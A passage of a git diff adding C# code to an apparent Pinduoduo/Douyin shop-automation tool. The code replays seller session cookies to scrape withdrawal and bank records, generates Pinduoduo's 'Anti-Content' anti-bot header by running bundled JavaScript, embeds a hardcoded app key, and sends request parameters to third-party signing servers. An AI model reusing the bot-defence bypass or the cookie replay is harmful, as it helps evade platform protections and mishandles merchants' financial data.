JavaScriptEngineSwitcher.V8; +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; + +namespace Work.CollectClass +{ + public class WithDrawAmount + { + public static string Name = "提现记录"; + public ShopChatBase currentShop; + public static List TempShops = new List(); + + public static string Request_mms_pinduoduo_com(string url, string referer, string cookie, string data, string antiContent, IWebProxy proxy = null) + { + string responseText = ""; + HttpWebResponse response = null; + + try + { + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon"); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Accept = "application/json"; + //request.Headers.Add("Anti-Content", @"0aoAfxnUgOQoU9dVEHIuLKYezEfQ51QpOcKVg_S0aww9S8dseM_tTxYptgFssmH7wfRCpRvfISyXp-bZ8hcq7ux0Z1kvhFUkfIMk7EsEefUAZS7Jv1vYHm1Cplb4GZ43dSFtKu19dO7snIyL-VRj0JFy0ETKDkf1EdaPbWEu22sZ4s1duGD6WO9lgeS-oTsEwwa9ohcX2E_DG2PggPHqIuxcN_tIthAewaqklSPvPmFwzYxrlo256wd2i74SMvTzGTB--UkZ3gPl5t6K-6IVCz1MDD7WDS9HeoGm4RBmyd0LIpXG400lOfKBvPh-z09PL3_hjiL1KiBCENrs1ANosN35LJ8zhlCRi0YrDxphd8LGJFWDG0LrARGRuMW7d3d4IlWlEKFFMiucGGNlIZqDyExDIMny-8T-KY8fJ8BnNuzWyr"); + request.Headers.Add("Anti-Content", antiContent); + //request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"; + request.UserAgent = BaseClass.ChromeUserAgent; + request.ContentType = "application/json;charset=UTF-8"; + request.Headers.Add("Origin", @"https://mms.pinduoduo.com"); + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = referer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookie); + if (proxy != null) + request.Proxy = proxy; + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = data; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else responseText = "error," + e.Message; + } + catch (Exception ex) + { + responseText = "error," + ex.Message; + } + if (response != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponse(response); + response.Close(); + } + + Thread.Sleep(50 + Randomx.GetId(100)); + + return responseText; + } + public static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + public static string getAnti0aon() + { + string anti = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.PinDuoDUo_0ao); + anti = jsEngine.CallFunction("get_anti", "").ToString(); + try + { anti = "0ao" + anti.Substring(3); } + catch { } + } + return anti; + } + + public void GetWithDraw() + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectWithMoney) + continue; + LogSave.Add(Name, "正在读取店铺"+shop.ShopName+"提现记录"); + string url = "https://mms.pinduoduo.com/uranus/api/balance/withdrawList"; + string refere = "https://mms.pinduoduo.com/finance/balance"; + string data = "{\"size\":10,\"page\":1,\"typeList\":[0,1]}"; + string html = Request_mms_pinduoduo_com(url, refere, shop.Cookies, data, getAnti0aon()); + //string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + int reusltTotal = BaseRegex.GetIntJson(ref html, "total"); + int page = reusltTotal / 10 + (reusltTotal % 10 > 0 ? 1 : 0); + for (int n = 1; n <= page; n++) + { + //非第一页匹配结果 + if (n != 1) + { + data = "{\"size\":10,\"page\":"+n+",\"typeList\":[0,1]}"; + html = Request_mms_pinduoduo_com(url, refere, shop.Cookies, data, getAnti0aon()); + } + //获取所有订单金额 + var ordersm = BaseRegex.GetMatchRegex(ref html, @"{[^}]+}"); + for (int j = 0; ordersm != null && j < ordersm.Count; j++) + { + string orderItem = ordersm[j].Groups[0].Value; + long createdTime = BaseRegex.GetLongJson(ref orderItem, "createdTime"); + long amount= BaseRegex.GetLongJson(ref orderItem, "amount"); + int status = BaseRegex.GetIntJson(ref orderItem, "status"); + string bankAccountId = BaseRegex.GetStringJson(ref orderItem, "bankAccountId"); + string bankAccountName = BaseRegex.GetStringJson(ref orderItem, "bankAccountName"); + string bankName = BaseRegex.GetStringJson(ref orderItem, "bankName"); + string statusMessage = BaseRegex.GetStringJson(ref orderItem, "statusMessage"); + string noteMessage = BaseRegex.GetStringJson(ref orderItem, "noteMessage"); + string message = BaseRegex.GetStringJson(ref orderItem, "message"); + DrawAmount drawAmount = new DrawAmount(); + drawAmount.shopName = shop.ShopName; + drawAmount.name = shop.Name; + drawAmount.status = status; + drawAmount.createTime = new DateTime((Convert.ToInt64(createdTime) * 10000) + 621355968000000000).ToString(); + drawAmount.bankAmount = (amount/100M).ToString(); + drawAmount.bankCard = bankName +"\r\n"+ bankAccountId.Substring(bankAccountId.Length-4) + "|"+bankAccountName; + drawAmount.bankStatus = statusMessage+"\r\n"+message; + drawAmount.remark = noteMessage; + TempShops.Add(drawAmount); + } + } + } + LogSave.Add(Name, "读取店铺提现记录完成"); + } + } + public class DrawAmount + { + public string shopName = ""; + public string name = ""; + public int status = 0; + public string createTime = ""; + public string bankAmount = ""; + public string bankCard = ""; + public string bankStatus = ""; + public string remark = ""; + } + public class ShopWithDraw + { + public string shopName = ""; + public decimal successAmount = 0M; + public decimal failAmount = 0M; + } +} diff --git a/Work/CostTemplateSet.cs b/Work/CostTemplateSet.cs new file mode 100644 index 0000000..f27542c --- /dev/null +++ b/Work/CostTemplateSet.cs @@ -0,0 +1,220 @@ +using AllBase; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; + +namespace Work +{ + public class CostTemplateSet + { + public ShopChatBase Shop; + public static List costTemplateList = new List(); + public static List costlateList = new List(); + public void query() + { + costlateList.Clear(); + costTemplateList.Clear(); + + string html = ""; + if (!BaseClass.UseApiFirst) + { + string url = "https://mms.pinduoduo.com/express_inf/cost_template/get_list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"mallId\":" + Shop.MallId + ",\"pageNo\":1,\"pageSize\":10,\"sourceKey\":\"MMS\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + + //var m = BaseRegex.GetMatchRegex(ref html, @"{[\s]*""costTemplateId"":[\s\S]+?""dispatchCost""[^}]+?}"); + var m = BaseRegex.GetMatchRegex(ref html, @"{[\s]*""costTemplateId"":[\s\S]+?""noShipConfig""[\w\W]+?][\s]*}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + CostTemplate costTemplate = new CostTemplate(); + costTemplate.shopName = Shop.ShopName; + costTemplate.costTemplateId = BaseRegex.GetLongJson(ref list, "costTemplateId"); + costTemplate.costTemplateName = BaseRegex.GetStringJson(ref list, "costTemplateName"); + costTemplate.costType = BaseRegex.GetIntJson(ref list, "costType"); + costTemplate.provinceId = BaseRegex.GetIntJson(ref list, "provinceId"); + costTemplate.cityId = BaseRegex.GetIntJson(ref list, "cityId"); + costTemplate.districtId = BaseRegex.GetIntJson(ref list, "districtId"); + costTemplate.templateItemId = BaseRegex.GetLongJson(ref list, "templateItemId"); + costTemplate.updateTime = BaseRegex.GetLongJson(ref list, "updateTime"); + + var mcp = BaseRegex.GetMatchRegex(ref list, @"""dispatchFree"":{[\w\W]+?""dispatchCost"""); + string mcpStr = mcp[0].Groups[0].Value; + var mc = BaseRegex.GetMatchRegex(ref mcpStr, @"{""province"":([\d]+?)}"); + for (int k = 0; mc != null && k < mc.Count; k++) + { + int province = int.Parse(mc[k].Groups[1].Value); + costTemplate.provinceList.Add(province); + } + + costTemplate.firstStandard = BaseRegex.GetIntJson(ref list, "firstStandard"); + costTemplate.firstCost = BaseRegex.GetIntJson(ref list, "firstCost"); + costTemplate.addStandard = BaseRegex.GetIntJson(ref list, "addStandard"); + costTemplate.addCost = BaseRegex.GetIntJson(ref list, "addCost"); + costTemplate.minCountForDeliveryFree = BaseRegex.GetIntJson(ref list, "minCountForDeliveryFree"); + costTemplate.noShipReasonType = BaseRegex.GetIntJson(ref list, "noShipReasonType"); + costTemplate.minAmountForDeliveryFree = BaseRegex.GetIntJson(ref list, "minAmountForDeliveryFree"); + + mc = BaseRegex.GetMatchRegex(ref list, @"""hasMinAmount"":([\w\W]+?),"); + if (mc != null && mc.Count > 0) + costTemplate.hasMinAmount = mc[0].Groups[1].Value; + + costTemplate.minText = "minCountForDeliveryFree"; + costTemplate.buygood = costTemplate.minCountForDeliveryFree.ToString(); + if (costTemplate.hasMinAmount == "true") + { + costTemplate.buygood = costTemplate.minAmountForDeliveryFree + "00"; + costTemplate.minText = "minAmountForDeliveryFree"; + } + + mc = BaseRegex.GetMatchRegex(ref list, @"""areaList"":[{""province"":[\d]+?}],""firstStandard"""); + for (int k = 0; mc != null && k < mc.Count; k++) + { + string item = mc[k].Groups[0].Value; + int province = BaseRegex.GetIntJson(ref item, "province"); + costTemplate.payList.Add(province); + } + + mc = BaseRegex.GetMatchRegex(ref list, @"""noShipConfig"":[[\w\W]+?]"); + mcpStr = mc[0].Groups[0].Value; + var mcv = BaseRegex.GetMatchRegex(ref mcpStr, @"{""province"":([\d]+),""noShipReasonType"":[\d]+}"); + for (int k = 0; mcv != null && k < mcv.Count; k++) + { + int province = int.Parse(mcv[k].Groups[1].Value); + costTemplate.nopayList.Add(province); + } + costTemplateList.Add(costTemplate); + costlateList.Add(costTemplate); + } + } + else + { + string htmlTemplate = new PinduoduoApiGetProduct(Shop).GetLogisticsTemplate(); + if (htmlTemplate.Contains("goods_logistics_template_get_response")) + { + // {"goods_logistics_template_get_response":{"total_count":2,"logistics_template_list":[{"free_deliver_house":false,"template_name":"123","cost_template_list":[],"free_deliver_house_area_list":[],"cost_type":0,"province_id":3,"sf_free_type":0,"template_id":135941251406166,"district_id":3404,"additional_service_type":null,"free_province_list":[{"province":"北京市","province_id":2},{"province":"安徽省","province_id":3},{"province":"福建省","province_id":4},{"province":"广东省","province_id":6},{"province":"广西壮族自治区","province_id":7},{"province":"贵州省","province_id":8},{"province":"河北省","province_id":10},{"province":"河南省","province_id":11},{"province":"黑龙江省","province_id":12},{"province":"湖北省","province_id":13},{"province":"湖南省","province_id":14},{"province":"吉林省","province_id":15},{"province":"江苏省","province_id":16},{"province":"江西省","province_id":17},{"province":"辽宁省","province_id":18},{"province":"山东省","province_id":22},{"province":"山西省","province_id":23},{"province":"陕西省","province_id":24},{"province":"上海市","province_id":25},{"province":"四川省","province_id":26},{"province":"天津市","province_id":27},{"province":"云南省","province_id":30},{"province":"浙江省","province_id":31},{"province":"重庆市","province_id":32}],"city_id":3401},{"free_deliver_house":false,"template_name":"12345","cost_template_list":[],"free_deliver_house_area_list":[],"cost_type":0,"province_id":3,"sf_free_type":0,"template_id":135853330403670,"district_id":3404,"additional_service_type":null,"free_province_list":[{"province":"安徽省","province_id":3}],"city_id":3401}],"request_id":"15876283275836320"}} + JObject jObj = JObject.Parse(htmlTemplate); + var jArr = jObj["goods_logistics_template_get_response"]["logistics_template_list"] as JArray; + if (jArr != null) + { + foreach (var item in jArr) + { + string str = item.ToString(); + CostTemplate costTemplate = new CostTemplate(); + + costTemplate.shopName = Shop.ShopName; + costTemplate.costTemplateId = AllBase.BaseRegex.GetLongJson(ref str, "template_id"); // 模板编号 + costTemplate.costTemplateName = AllBase.BaseRegex.GetStringJson(ref str, "template_name"); // 模板名称 + costTemplate.costType = AllBase.BaseRegex.GetIntJson(ref str, "cost_type"); // 模板付费类型 + + costTemplate.provinceId = AllBase.BaseRegex.GetIntJson(ref str, "province_id"); // 发货省编号 + costTemplate.cityId = AllBase.BaseRegex.GetIntJson(ref str, "city_id"); // 发货市编号 + costTemplate.districtId = AllBase.BaseRegex.GetIntJson(ref str, "district_id"); // 发货区编号 + + //costTemplate.templateItemId = AllBase.BaseRegex.GetLongJson(ref str, "templateItemId"); + //costTemplate.updateTime = BaseRegex.GetLongJson(ref str, "updateTime"); + + // 包邮地区 + var provinceArr = item["free_province_list"] as JArray; + if (provinceArr != null) + { + foreach (var freeProvince in provinceArr) + { + try + { + int province = Convert.ToInt32(freeProvince["province_id"]); + costTemplate.provinceList.Add(province); + //costTemplate.provinceNameList.Add(freeProvince["province"].ToString()); + } + catch { } + } + } + + costTemplate.firstStandard = AllBase.BaseRegex.GetIntJson(ref str, "first_standard"); // 首件 + costTemplate.firstCost = AllBase.BaseRegex.GetIntJson(ref str, "first_cost"); // 首件或首重邮费价格,单位为分 + costTemplate.addStandard = AllBase.BaseRegex.GetIntJson(ref str, "add_standard"); // 续重或续件 + costTemplate.addCost = AllBase.BaseRegex.GetIntJson(ref str, "add_cost"); // 续件或续重邮费价格,单位为分 + costTemplate.minCountForDeliveryFree = AllBase.BaseRegex.GetIntJson(ref str, "have_free_min_count"); // 对不包邮地区,满足指定件数包邮,该值为商家设置的指定件数,若为 - 1则商家没有开启满足件数包邮 + costTemplate.minAmountForDeliveryFree = AllBase.BaseRegex.GetIntJson(ref str, "have_free_min_amount"); // 对不包邮地区,满足指定价格包邮,该值为商家设置的指定订单金额,若为 - 1则商家没有开启满足指定价格包邮,注意,单位为分 + //costTemplate.noShipReasonType = AllBase.BaseRegex.GetIntJson(ref str, "noShipReasonType"); // 不包邮原因 API接口暂不支持 + + var mc = AllBase.BaseRegex.GetMatchRegex(ref str, @"""is_have_free_min_amount"":([\w\W]+?),"); + if (mc != null && mc.Count > 0) + costTemplate.hasMinAmount = mc[0].Groups[1].Value.StartsWith("true") ? "true" : "false"; + + costTemplate.minText = "minCountForDeliveryFree"; + costTemplate.buygood = costTemplate.minCountForDeliveryFree.ToString(); + if (costTemplate.hasMinAmount == "true") + { + //costTemplate.buygood = costTemplate.minAmountForDeliveryFree + "00"; + costTemplate.minText = "minAmountForDeliveryFree"; + } + + // 邮费配送地区 + mc = AllBase.BaseRegex.GetMatchRegex(ref str, @"""areaList"":[{""province"":[\d]+?}],""firstStandard"""); + var costProvinceArr = item["cost_template_list"] as JArray; + if (costProvinceArr != null) + { + foreach (var costProvinceItem in costProvinceArr) + { + string costStr = costProvinceItem.ToString(); + int provinceId = AllBase.BaseRegex.GetIntJson(ref costStr, "province_id"); + costTemplate.payList.Add(provinceId); + } + } + + // 不配送地区 API接口暂不支持 + //mc = BaseRegex.GetMatchRegex(ref list, @"""noShipConfig"":[[\w\W]+?]"); + //mcpStr = mc[0].Groups[0].Value; + //var mcv = BaseRegex.GetMatchRegex(ref mcpStr, @"{""province"":([\d]+),""noShipReasonType"":[\d]+}"); + //for (int k = 0; mcv != null && k < mcv.Count; k++) + //{ + // int province = int.Parse(mcv[k].Groups[1].Value); + // costTemplate.nopayList.Add(province); + //} + + costlateList.Add(costTemplate); + costTemplateList.Add(costTemplate); + } + } + } + Thread.Sleep(1000); + } + } + } + + public class CostTemplate + { + public string shopName = ""; + public long costTemplateId = 0; + public long templateItemId = 0; + public string costTemplateName = ""; + public int costType = 0; + public int provinceId = 0; + public int cityId = 0; + public int districtId = 0; + public long updateTime = 0; + public List provinceList = new List(); + public int firstStandard = 0; + public int firstCost = 0; + public int addStandard = 0; + public int addCost = 0; + public int minCountForDeliveryFree = 0; + public int noShipReasonType = 0; + public int minAmountForDeliveryFree = 0; + public string hasMinAmount = "false"; + public string minText = ""; + public string buygood = ""; + public List payList = new List(); + public List nopayList = new List(); + + } + + +} diff --git a/Work/DouyinApiClass/DouyinApi.cs b/Work/DouyinApiClass/DouyinApi.cs new file mode 100644 index 0000000..e571421 --- /dev/null +++ b/Work/DouyinApiClass/DouyinApi.cs @@ -0,0 +1,401 @@ +using AllBase; +using AllBase.Model.Result; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.DouyinApiClass +{ + public class DouyinApi + { + public Dictionary Data = new Dictionary(); + public Dictionary JsonData = new Dictionary(); + public DouShopLoginInfo Shop = null; + public string Type, Name; + public static string Gate = "https://openapi-fxg.jinritemai.com/"; + public DouyinApi(DouShopLoginInfo shop) + { + Shop = shop; + } + + public string GetDataDouyin() + { + + return ""; + } + + public string GetFreightTemplateList() + { + Type = "freightTemplate.list"; + string html = GetData(); + return html; + } + + /// + /// 获取店铺的已授权品牌列表 + /// + /// + public string shopBrandList() + { + Type = "shop.brandList"; + string html = GetData(); + return html; + } + + /// + ///类目品牌列表 + /// + /// + public string cateBrandList() + { + Type = "brand.list"; + string html = GetData(); + return html; + } + + public string GetCateProperty() + { + Type = "product.getCateProperty"; + string html = GetData(); + return html; + } + public string GetCatePropertyV2() + { + Type = "product.getCatePropertyV2"; + string html = GetData(); + return html; + } + + public string GetShopCategory(int cid) + { + Type = "shop.GetShopCategory"; + JsonData.Add("cid", cid.ToString()); + string html = GetData(); + return html; + } + + public string GetUploadVideo() + { + Type = "material.uploadVideoAsync"; + string html = GetData(); + return html; + } + + public string GetProperty() + { + Type = "product.getCateProperty"; + string html = GetData(); + return html; + } + + + public string GetAdd() + { + Type = "product.addV2"; + string html = GetData(); + return html; + } + + public string GetProductList() + { + Type = "product.listV2"; + string html = GetData(); + return html; + } + + public string SetProductOnline() + { + Type = "product.setOnline"; + string html = GetData(); + return html; + } + + public string SetProductOffline() + { + Type = "product.setOffline"; + string html = GetData(); + return html; + } + + public string GetResultUpdateRule() + { + Type = "product.getProductUpdateRule"; + string html = GetData(); + return html; + } + + public string SetProductStock() + { + Type = "sku.syncStock"; + string html = GetData(); + return html; + } + + public string DeleteProduct() + { + Type = "product.del"; + string html = GetData(); + return html; + } + public string GetProductEdit() + { + Type = "product.editV2"; + string html = GetData(); + return html; + } + public string GetProductDetail() + { + Type = "product.detail"; + string html = GetData(); + return html; + } + + public string GetEditStock() + { + Type = "sku.syncStock"; + string html = GetData(); + return html; + } + + public string GetEditPrice() + { + Type = "sku.editPrice"; + string html = GetData(); + return html; + } + /// + /// 创建图片文件夹 + /// + /// + public string GetCreateFolder() + { + Type = "material.createFolder"; + string html = GetData(); + return html; + } + + /// + /// 查询图片文件夹 + /// + /// + public string GetSearchFolder() + { + Type = "material.searchFolder"; + string html = GetData(); + return html; + } + + /// + /// 查询图片文件夹 + /// + /// + public string GetSearchMaterial() + { + Type = "material.searchMaterial"; + string html = GetData(); + return html; + } + + /// + /// 上传图片 + /// + /// + public string GetUploadImageSync() + { + Type = "material.uploadImageSync"; + string html = GetData(); + return html; + } + /// + /// 批量上传图片 + /// + /// + public string GetBatchUploadImageSync() + { + Type = "material.batchUploadImageSync"; + string html = GetData(); + return html; + } + + public string MaterialDeleteFolder() + { + Type = "material.deleteFolder"; + string html = GetData(); + return html == null ? "" : html; + } + public string MaterialDeleteMaterial() + { + Type = "material.deleteMaterial"; + string html = GetData(); + return html == null ? "" : html; + } + + /// + /// 获取类目资质证书 + /// + /// + public string GetQualificationConfig() + { + Type = "product.qualificationConfig"; + string html = GetData(); + return html; + } + + /// + /// 罗盘店铺信息open api + /// + /// + public string GetStatData() + { + Type = "compass.GetStatData"; + string html = GetData(); + return html; + } + + public string GetDataJson() + { + StringBuilder stringBuilder = new StringBuilder(); + foreach (string current in JsonData.Keys) + { + stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\"{0}\":\"{1}\"" : "\"{0}\":\"{1}\"", current, JsonData[current].ToString()); + } + string json = "{" + stringBuilder.ToString() + "}"; + return json; + } + public string GetDataSignPara() + { + StringBuilder stringBuilderData = new StringBuilder(); + foreach (string current in Data.Keys) + { + if (current == "access_token" || current == "sign" || current == "param_json") + continue; + stringBuilderData.AppendFormat((stringBuilderData.Length > 0) ? ",\"{0}\":\"{1}\"" : "\"{0}\":\"{1}\"", current, Data[current].ToString()); + } + string param = "{" + stringBuilderData.ToString() + "}"; + return param; + } + public string GetDataFxgPara() + { + StringBuilder stringBuilderData = new StringBuilder(); + foreach (string current in Data.Keys) + { + stringBuilderData.AppendFormat((stringBuilderData.Length > 0) ? "&{0}={1}" : "{0}={1}", current, Data[current]?.ToString()); + } + string param = stringBuilderData.ToString(); + return param; + } + + public string GetData() + { + #region 获取接口数据 + string json = GetDataJson(); + json = HttpUtility.UrlEncode(json, Encoding.UTF8); + #endregion + #region 获取sign + string timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"); + Data["app_key"] = Shop.AppKey; + Data["timestamp"] = timestamp; + Data["method"] = Type; + Data["v"] = "2"; + //Data["sign"] = ""; + string param = GetDataSignPara(); + string url = BaseClass.BuildObjString("sign&act=signature"); + string data = UserLogin.GetSignaturex() + "¶m_json=" + "" + json + "" + + "¶ms=" + param; + if (Shop.ShopAccount == "权益服务齐全的专营店") + url = "http://new.qixiaoke.com/index.php?obj=douyin/sign&act=signature_boe"; + string html = GetHtml.PostUtf8(url, data); + string sign = BaseRegex.GetStringJson(ref html, "sign"); + for (int i = 0; i < 5 && (string.IsNullOrEmpty(sign)); i++) + { + html = GetHtml.PostUtf8(url, data); + sign = BaseRegex.GetStringJson(ref html, "sign"); + } + #endregion + #region 提交抖店 + Data["param_json"] = json; + Data["access_token"] = Shop.AccessToken; + Data["sign"] = sign; + string fxgPara = GetDataFxgPara(); + string urlx = "https://openapi-fxg.jinritemai.com/" + Type.Replace(".", "/"); + if (Shop.ShopAccount == "权益服务齐全的专营店") + urlx = "https://openapi.jinritemai.com/" + Type.Replace(".", "/"); + string datax = fxgPara; + string htmlx = GetHtml.PostUtf8(urlx, datax); + int retryTime = 0; + while (!htmlx.Contains("\"code\":10000") && retryTime < 3) + { + System.Threading.Thread.Sleep(500); + if (htmlx.Contains("非法的参数")) + htmlx = GetHtml.PostUtf8(urlx, datax); + retryTime++; + } + return htmlx; + #endregion + } + + public string AddFreightTemplateListByBuyApi() + { + Type = "freightTemplate.create"; + string html = GetBuyApiData(); + return html; + } + + public string GetFreightTemplateListByBuyApi() + { + Type = "freightTemplate.list"; + string html = GetBuyApiData(); + return html; + } + + public string GetDouyinAddressAreaByBuyApi(string province_id) + { + if (string.IsNullOrEmpty(province_id) || province_id == "0") + Type = "address.getProvince"; + else + Type = "address.getAreasByProvince"; + JsonData["province_id"] = province_id; + string html = GetBuyApiData(); + return html; + } + + public string GetBuyApiData() + { + #region 获取接口数据 + string json = GetHtml.UrlEncodeUtf8(GetDataJson()); + // string timestamp = BaseClass.DateTimeToTimestampSeconds(DateTime.Now).ToString(); + //json = HttpUtility.UrlEncode(json, Encoding.UTF8); + #endregion + #region 获取sign + string timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"); + Data["app_key"] = "7016502755254683171"; //Shop.AppKey; + Data["timestamp"] = timestamp; + Data["method"] = Type; + Data["v"] = "2"; + string param = GetHtml.UrlEncodeUtf8(GetDataSignPara()); + + string url = "http://103.90.155.35:54" + (new Random().Next(10, 20)) + "/sign.php?act=signature"; + //string url = BaseClass.DouYinBuildObjString("sign&act=signature"); + string data = UserLogin.GetSignaturex() + "¶m_json=" + json + "" + + "¶ms=" + param + "&service=2"; + string html = GetHtml.PostUtf8(url, data); + string sign = BaseRegex.GetStringJson(ref html, "sign"); // "c4df970da7f412d4dc7f5f9e0ee1b0e8" + #endregion + + #region 提交抖店 + + Data["param_json"] = json; + Data["access_token"] = Shop.BuyApiAuth.AccessToken; + Data["sign"] = sign; + string fxgPara = GetDataFxgPara(); + string urlx = "https://openapi-fxg.jinritemai.com/" + Type.Replace(".", "/") + "?app_key=7016502755254683171×tamp=" + timestamp + + "&method=" + Type + "&v=2¶m_json=" + json + "&access_token=" + Shop.BuyApiAuth.AccessToken + "&sign=" + sign; + string datax = fxgPara; + string htmlx = GetHtml.PostUtf8(urlx, datax); + return htmlx; + #endregion + } + } +} diff --git a/Work/GetPostTaobaoHtml.cs b/Work/GetPostTaobaoHtml.cs new file mode 100644 index 0000000..08e30a9 --- /dev/null +++ b/Work/GetPostTaobaoHtml.cs @@ -0,0 +1,1966 @@ +using AllBase; +using CefSharp; +using System; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Work +{ + public class GetPostTaobaoHtml + { + + public static bool DownLoadImage(string url, out byte[] b) + { + string mainDomain = GetHtml.GetMainDomain(GetHtml.GetDomain(url)); + string cookies = ""; + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + return DownLoadImage(url, out b, cookies); + } + + public static bool DownLoadImage(string url, out byte[] b, string cookies) + { + if (!string.IsNullOrEmpty(url) && url.Length > 2 && url.Substring(0, 2) == "//") + url = "http:" + url; + string refere = url.Contains("yangkeduo.com") + ? BaseClass.NewUrl+"/" + : "https://detail.tmall.com/item.htm?spm=a230r.1.14.37.51edc9e4PYsBpF&id=35689836013&ns=1&abbucket=15"; + b = new byte[0]; + int time = 0; + Again: + try + { + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + if (string.IsNullOrEmpty(cookies)) + { + string mainDomain = GetHtml.GetMainDomain(GetHtml.GetDomain(url)); + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + } + //wb.IsDelete = true; + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Proxy = null; + wb.Headers.Add("Accept", "image/webp,image/*,*/*;q=0.8"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-CN,zh;q=0.8"); + wb.Headers.Add("User-Agent", userAgent); + //wb.Headers.Add("Content-Type", "image/jpeg"); + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + b = wb.DownloadData(url); + return true; + } + catch (Exception e) + { + if (e.Message.Contains("404")) + return false; + if (time < 4) + { + time++; + Thread.Sleep(1000 * time + 1000); + goto Again; + } + } + return false; + } + + public static string UploadTaobaoPic(string url, string refere, bool isUtf8, string cookies) + { + return UploadTaobaoPost(url, refere, isUtf8, "", false, cookies); + } + public static string UploadTaobaoDelete(string url, string refere, bool isUtf8, string data, bool isPost) + { + try + { + //string cookies = string.IsNullOrEmpty(BaseClass.ChromeCookies) ? IECookies.GetCookieByWebBrowser(url) : BaseClass.ChromeCookies; + //string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + string cookies = BaseClass.ChromeCookies; + if (url.Contains(".yangkeduo.com")) + cookies = BaseClass.CookiesAllString["yangkeduo.com"]; + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.IsDelete = true; + wb.Timeout = 30; + wb.Proxy = null; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "*/*"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-CN,zh;q=0.8"); + wb.Headers.Add("User-Agent", userAgent); + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8"); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + //wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c 